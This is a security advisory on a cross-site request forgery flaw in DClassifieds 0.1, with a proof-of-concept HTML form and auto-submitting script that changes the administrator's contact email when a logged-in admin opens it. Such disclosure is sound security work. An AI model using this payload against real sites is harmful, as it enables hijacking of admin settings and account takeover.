CSRF (Cross-Site Request Forgery) in DClassifieds



Advisory ID: HTB23067
Reference: https://www.htbridge.ch/advisory/csrf_cross_site_request_forgery_in_dclassifieds.html
Product: DClassifieds
Vendor: www.dclassifieds.eu ( http://www.dclassifieds.eu/ )
Vulnerable Version: 0.1 final and probably prior
Tested Version: 0.1 final
Vendor Notification: 04 January 2012
Vulnerability Type: CSRF (Cross-Site Request Forgery)
Risk Level: Low
Credit: High-Tech Bridge SA Security Research Lab ( https://www.htbridge.ch/advisory/ )


Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered vulnerability in DClassifieds, which can be exploited to perform Сross-Site Request Rorgery (CSRF) attacks.

The application allows authorized users to perform certain actions via HTTP requests without making proper validity checks to verify the source of the requests. This can be exploited to add, delete or modify sensitive information, for example to change administrator's password or email.

An attacker should make logged-in administrator open a malicious link in the browser to exploit this vulnerability.

This PoC code will change administrator's email:


<form action="http://[host]/admin/settings/update/id/4"; method="post">
<input type="hidden" name="Settings[setting_name]" value="CONTACT_EMAIL">
<input type="hidden" name="Settings[setting_value]" value="hacker@xxxxxxxx">
<input type="hidden" name="Settings[setting_description]" value="Contact email">
<input type="hidden" name="Settings[setting_show_in_admin]" value="1">
<input type="hidden" name="yt0" value="Save">
<input type="submit" id="btn">
</form>
<script>
document.getElementById('btn').click();
</script>





Disclaimer: Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on the web page in Reference field.



Relevant Pages

  • [NT] CitectSCADA ODBC Service Vulnerability
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Get your security news from a reliable source. ... are distributed in over 80 countries through a network of more than 500 ... A vulnerability was found in CitectSCADA that could allow a remote ...
    (Securiteam)
  • Re: [Full-disclosure] Full-Disclosure Digest, Vol 79, Issue 21
    ... See MS advisory for full list of affected products. ... Seeker Research Center Security Advisory ... This vulnerability was discovered by Seeker? ... The request also contains other parameters required by the page, the vulnerable parameter being the parameter noted above. ...
    (Full-Disclosure)
  • [NT] Microsoft Word Malformed FIB Arbitrary Free Vulnerability (MS08-072)
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... A vulnerability has been found in the way that Microsoft Word handles ... Vendor Information, Solutions and Workarounds: ... Core requests information concerning Microsoft's plans to fix ...
    (Securiteam)
  • WP Comment Remix 1.4.3 Multiple Vulnerabilities
    ... Advisory Information | ... Vulnerability Information | ... Software: WP Comment Remix ... The Cross-Site Request Forgery is caused by the lack of the WordPress ...
    (Bugtraq)
  • [Full-disclosure] CORE-2014-0002 - Oracle VirtualBox 3D Acceleration Multiple Memory
    ... Core Security - Corelabs Advisory ... Oracle VirtualBox 3D Acceleration Multiple Memory Corruption Vulnerabilities ... *Vulnerability Information* ...
    (Full-Disclosure)